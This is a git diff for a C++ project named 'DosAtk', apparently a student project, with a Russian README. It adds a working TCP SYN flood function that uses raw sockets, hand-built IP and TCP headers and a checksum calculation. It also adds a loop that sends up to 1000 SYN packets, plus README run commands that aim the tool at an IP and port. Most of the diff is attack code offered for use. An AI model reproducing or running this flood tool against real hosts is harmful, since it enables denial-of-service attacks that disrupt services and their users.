diff --git a/.gitignore b/.gitignore index 600d2d3..7451162 100644 --- a/.gitignore +++ b/.gitignore @@ -1 +1,4 @@ -.vscode \ No newline at end of file +.vscode +src/test.cpp +test +DosAtk diff --git a/README.md b/README.md index 7e15699..b89d46d 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,10 @@ # Как жить? +Регаемся на данном сайте, форкаем либу, пушим в свой форк и создаём merge request. +Либо просим у Серафима контрибьютора и сразу делаем ветку где надо (так даже лучше, не придётся мучаться с мержем из форка) + ``` -git clone https://gitea.serafimdev.com/serafim/dos # Клонируем репозиторий +git clone https://gitea.serafimdev.com/serafim/dos # Клонируем репозиторий (замените на свой форк!) git checkout -b my_dns # Создаём ветку для реализации модуля my_dns git add * # Добавляем написанный код в комит git commit -m 'Написал код' # Комитим в локальную ветку @@ -9,6 +12,18 @@ git push origin my_dns # Пушим свою ветку в репозитори # Теперь в интерфейсе https://gitea.serafimdev.com/serafim/dos создаём пул реквест и пишем мне в тг ``` -Для компиляции: -g++ DosAtk.cpp -lcurl -Если ошибка отсутствия заголовочного файла "curl.h", то нужно установить: sudo apt-get install libcurl4-openssl-dev \ No newline at end of file +# Компиляция + +Для компиляции: `./build.sh` (после компиляции запускает файл), либо ручками: `g++ DosAtk.cpp -lcurl` +Если ошибка отсутствия заголовочного файла "curl.h", то нужно установить: `sudo apt-get install libcurl4-openssl-dev` + +# Запуск + +Пример запуска: + +``` +sudo ./DosAtk -a flood -i 127.0.0.1 -p 800 # запуск заранее скомпилированной программы +sudo ./build.sh -a flood -i 127.0.0.1 -p 800 # скомипилирует и запустит программу +``` +Запускается только на Линухе! + diff --git a/build.sh b/build.sh index 477c251..6f95ecb 100755 --- a/build.sh +++ b/build.sh @@ -1,2 +1,4 @@ +#!/bin/sh +set -e # if compilation fail next command will not be executed, so older version of programm will not be launched g++ src/DosAtk.cpp -o DosAtk -lcurl ./DosAtk "$@" diff --git a/src/DosAtk.cpp b/src/DosAtk.cpp index 41825a6..4f41031 100644 --- a/src/DosAtk.cpp +++ b/src/DosAtk.cpp @@ -8,6 +8,16 @@ #include // Функции для работы с символами (isdigit, isalpha и др.) #include // Библиотека libcurl для HTTP-запросов (отправка в Telegram) +#include // Работа со строками и памятью (memset, memcpy) +#include // POSIX API (close, read, write) +#include // Сокеты (socket, setsockopt, sendto) +#include // Структура IP-заголовка (struct iphdr) +#include // Структура TCP-заголовка (struct tcphdr) +#include // Преобразование IP-адресов (inet_addr, inet_pton) +#include // Определение констант сетевых интерфейсов (IFNAMSIZ) +#include // Управление сокетами и интерфейсами (ioctl) +#include // Флаги файловых дескрипторов (fcntl) + // Глобальные переменные std::string attack_type; // Тип атаки: scan или syn std::string domain; // Доменное Имя @@ -353,10 +363,135 @@ int my_dns() return 0; } -int my_tcp_syn() -{ - // Данная процедура выполняет TCP SYN Flood атаку - return 2; + +void my_tcp_syn() { + /* + * Отправляет TCP SYN запрос на указанный IP и порт + * status: + * 0 - запрос успешно отправлен (атака продолжается) + * 2 - достигнуто максимальное количество запросов (1000) + * -201 - ошибка создания raw-сокета + * -202 - ошибка отправки SYN-пакета + */ + + // === Объявление локальных переменных === + int sock; // Основной raw-сокет для отправки пакетов + int one; // Флаг для setsockopt + + // Структуры для адресов + struct sockaddr_in target_addr; // Адрес цели + + // Параметры подключения + uint16_t target_port; // Порт цели (в сетевом порядке байт) + // Структуры заголовков + struct iphdr ip_header; // IP-заголовок пакета + struct tcphdr tcp_header; // TCP-заголовок пакета + char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет + + // Псевдозаголовок для контрольной суммы + struct { + uint32_t saddr; + uint32_t daddr; + uint8_t zero; + uint8_t protocol; + uint16_t tcp_len; + } pseudo_header; + + // Буферы данных + char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы + uint16_t *checksum_ptr; + unsigned long checksum_sum; + uint8_t *checksum_byte_ptr; + int checksum_len; + + // === Инициализация переменных === + sock = -1; + one = 1; + target_port = htons(atoi(port.c_str())); + + // === Основная логика процедуры === + // 1. Создание raw-сокета + if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) { + status = -201; + return; + } + + // 2. Установка опции IP_HDRINCL + setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)); + + // 3. Настройка адреса цели + memset(&target_addr, 0, sizeof(target_addr)); + target_addr.sin_family = AF_INET; + inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr); + + // 4. Формирование IP заголовка + memset(&ip_header, 0, sizeof(ip_header)); + ip_header.ihl = 5; + ip_header.version = 4; + ip_header.tot_len = htons(sizeof(iphdr) + sizeof(tcphdr)); + ip_header.ttl = 64; + ip_header.protocol = IPPROTO_TCP; + ip_header.saddr = inet_addr("127.0.0.1"); + ip_header.daddr = inet_addr(ip.c_str()); + + // 5. Формирование TCP заголовка + memset(&tcp_header, 0, sizeof(tcphdr)); + tcp_header.source = htons(12345); + tcp_header.dest = target_port; + tcp_header.seq = htonl(123456); + tcp_header.doff = 5; + tcp_header.syn = 1; + tcp_header.window = htons(5840); + + // 6. Расчет контрольной суммы + pseudo_header = { + .saddr = ip_header.saddr, + .daddr = ip_header.daddr, + .zero = 0, + .protocol = IPPROTO_TCP, + .tcp_len = htons(sizeof(tcphdr)) + }; + memcpy(temp_buf, &pseudo_header, sizeof(pseudo_header)); + memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr)); + + // Расчет контрольной суммы + checksum_ptr = (uint16_t *)temp_buf; + checksum_sum = 0; + checksum_len = sizeof(temp_buf); + + while (checksum_len > 1) { + checksum_sum += *checksum_ptr++; + checksum_len -= 2; + } + + if (checksum_len == 1) { + checksum_byte_ptr = (uint8_t *)checksum_ptr; + checksum_sum += *checksum_byte_ptr; + } + + checksum_sum = (checksum_sum >> 16) + (checksum_sum & 0xFFFF); + tcp_header.check = (unsigned short)(~checksum_sum); + + // 7. Сборка пакета + memcpy(packet, &ip_header, sizeof(iphdr)); + memcpy(packet + sizeof(iphdr), &tcp_header, sizeof(tcphdr)); + + // 8. Отправка пакета + if (sendto(sock, packet, sizeof(packet), 0, + (struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) { + n_fail_requests++; + status = -202; + } else { + n_ok_requests++; + status = 0; + } + + // 9. Проверка завершения + if ((n_ok_requests + n_fail_requests) >= 1000) { + status = 2; + } + + close(sock); } int my_udp() @@ -383,7 +518,7 @@ int main(int argc, char **argv) // Получаем текущее время в различных форматах time_t now_time_t = std::chrono::system_clock::to_time_t(start_timestamp); - auto ms = std::chrono::duration_cast( + std::chrono::milliseconds ms = std::chrono::duration_cast( start_timestamp.time_since_epoch()) % 1000; // Выводим информацию о времени запуска программы @@ -451,18 +586,18 @@ int main(int argc, char **argv) case 2: // Режим SYN-флуда (TCP) // Аналогичная логика как для UDP-режима dns_status = my_dns(); - + printf("begin TCP SYN\n"); if (dns_status == 0) { - while (tcp_syn_status = my_tcp_syn()) + while (true) { - if (tcp_syn_status == 2) + my_tcp_syn(); + if (status == 2) { break; } - else if (tcp_syn_status < 0) + else if (status < 0) { - status = tcp_syn_status; my_diag(); log_status = my_log(); if (log_status == 1)